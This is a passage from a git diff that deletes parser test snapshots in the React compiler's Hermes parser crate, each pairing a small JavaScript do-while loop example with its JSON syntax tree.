-                "loc": null,
-                "range": [
-                  57,
-                  62
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  67
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                57,
-                67
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              69
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "props",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                79,
-                84
-              ]
-            },
-            "loc": null,
-            "range": [
-              72,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        87
-      ],
-      "loc": null,
-      "range": [
-        0,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-compound-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-compound-test.js.snap
deleted file mode 100644
index 73f22cbd4bb1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-compound-test.js.snap
+++ /dev/null
@@ -1,426 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-compound-test.js
----
-Input:
-function Component(props) {
-  let x = [1, 2, 3];
-  let ret = [];
-  do {
-    let item = x.pop();
-    ret.push(item * 2);
-  } while (x.length && props.cond);
-  return ret;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    38,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              48
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ret",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    61,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              64
-            ]
-          },
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          84
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              87,
-                              88
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "pop",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              89,
-                              92
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            87,
-                            92
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          87,
-                          94
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        80,
-                        94
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    76,
-                    95
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "ret",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          100,
-                          103
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          104,
-                          108
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        100,
-                        108
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            109,
-                            113
-                          ]
-                        },
-                        "operator": "*",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            116,
-                            117
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          109,
-                          117
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      100,
-                      118
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    119
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                70,
-                123
-              ]
-            },
-            "test": {
-              "type": "LogicalExpression",
-              "operator": "&&",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    131,
-                    132
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "length",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    139
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  131,
-                  139
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    143,
-                    148
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    149,
-                    153
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  143,
-                  153
-                ]
-              },
-              "loc": null,
-              "range": [
-                131,
-                153
-              ]
-            },
-            "loc": null,
-            "range": [
-              67,
-              155
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "ret",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                165,
-                168
-              ]
-            },
-            "loc": null,
-            "range": [
-              158,
-              169
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          171
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        171
-      ],
-      "loc": null,
-      "range": [
-        0,
-        171
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    171
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-conditional-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-conditional-break.js.snap
deleted file mode 100644
index 9a47b6e0b867..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-conditional-break.js.snap
+++ /dev/null
@@ -1,312 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-conditional-break.js
----
-Input:
-function Component(props) {
-  let x = [0, 1, 2, 3];
-  do {
-    if (x === 0) {
-      break;
-    }
-    mutate(x);
-  } while (props.cond);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        48,
-                        49
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    38,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              51
-            ]
-          },
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "operator": "===",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      67,
-                      74
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          90
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      76,
-                      96
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    96
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        101,
-                        107
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          109
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      101,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    111
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                115
-              ]
-            },
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  123,
-                  128
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  129,
-                  133
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                123,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              54,
-              135
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                145,
-                146
-              ]
-            },
-            "loc": null,
-            "range": [
-              138,
-              147
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          149
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        149
-      ],
-      "loc": null,
-      "range": [
-        0,
-        149
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    149
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-continue.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-continue.js.snap
deleted file mode 100644
index b8bc380d03aa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-continue.js.snap
+++ /dev/null
@@ -1,446 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-continue.js
----
-Input:
-function Component() {
-  const x = [0, 1, 2, 3];
-  const ret = [];
-  do {
-    const item = x.pop();
-    if (item === 0) {
-      continue;
-    }
-    ret.push(item / 2);
-  } while (x.length);
-
-  return ret;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    35,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              48
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ret",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    63,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              66
-            ]
-          },
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          88
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              91,
-                              92
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "pop",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              93,
-                              96
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            91,
-                            96
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          91,
-                          98
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        84,
-                        98
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    78,
-                    99
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        108,
-                        112
-                      ]
-                    },
-                    "operator": "===",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        117,
-                        118
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      108,
-                      118
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ContinueStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          128,
-                          137
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      120,
-                      143
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    143
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "ret",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          148,
-                          151
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          152,
-                          156
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        148,
-                        156
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            157,
-                            161
-                          ]
-                        },
-                        "operator": "/",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            164,
-                            165
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          157,
-                          165
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      148,
-                      166
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    167
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                171
-              ]
-            },
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  179,
-                  180
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "length",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  181,
-                  187
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                179,
-                187
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              189
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "ret",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                200,
-                203
-              ]
-            },
-            "loc": null,
-            "range": [
-              193,
-              204
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          206
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        206
-      ],
-      "loc": null,
-      "range": [
-        0,
-        206
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    206
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-early-unconditional-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-early-unconditional-break.js.snap
deleted file mode 100644
index 22d303693c78..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-early-unconditional-break.js.snap
+++ /dev/null
@@ -1,254 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-early-unconditional-break.js
----
-Input:
-function Component(props) {
-  let x = [1, 2, 3];
-  do {
-    mutate(x);
-    break;
-  } while (props.cond);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        45,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    38,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              48
-            ]
-          },
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        60,
-                        66
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          68
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      60,
-                      69
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    70
-                  ]
-                },
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                54,
-                85
-              ]
-            },
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  93,
-                  98
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  99,
-                  103
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                93,
-                103
-              ]
-            },
-            "loc": null,
-            "range": [
-              51,
-              105
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                115,
-                116
-              ]
-            },
-            "loc": null,
-            "range": [
-              108,
-              117
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          119
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        119
-      ],
-      "loc": null,
-      "range": [
-        0,
-        119
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    119
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-simple.js.snap
deleted file mode 100644
index d2b4f7f3c092..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-simple.js.snap
+++ /dev/null
@@ -1,377 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-simple.js
----
-Input:
-function Component() {
-  let x = [1, 2, 3];
-  let ret = [];
-  do {
-    let item = x.pop();
-    ret.push(item * 2);
-  } while (x.length);
-  return ret;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        34,
-                        35
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        40,
-                        41
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    33,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ret",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    56,
-                    58
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  58
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              59
-            ]
-          },
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              82,
-                              83
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "pop",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              84,
-                              87
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            82,
-                            87
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          82,
-                          89
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        75,
-                        89
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    90
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "ret",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          98
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          99,
-                          103
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        95,
-                        103
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            104,
-                            108
